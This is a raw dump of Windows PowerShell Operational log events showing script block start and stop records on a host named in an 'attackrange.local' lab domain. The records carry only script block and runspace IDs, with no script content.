09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040677
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040675
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040674
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040657
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040652
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040651
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
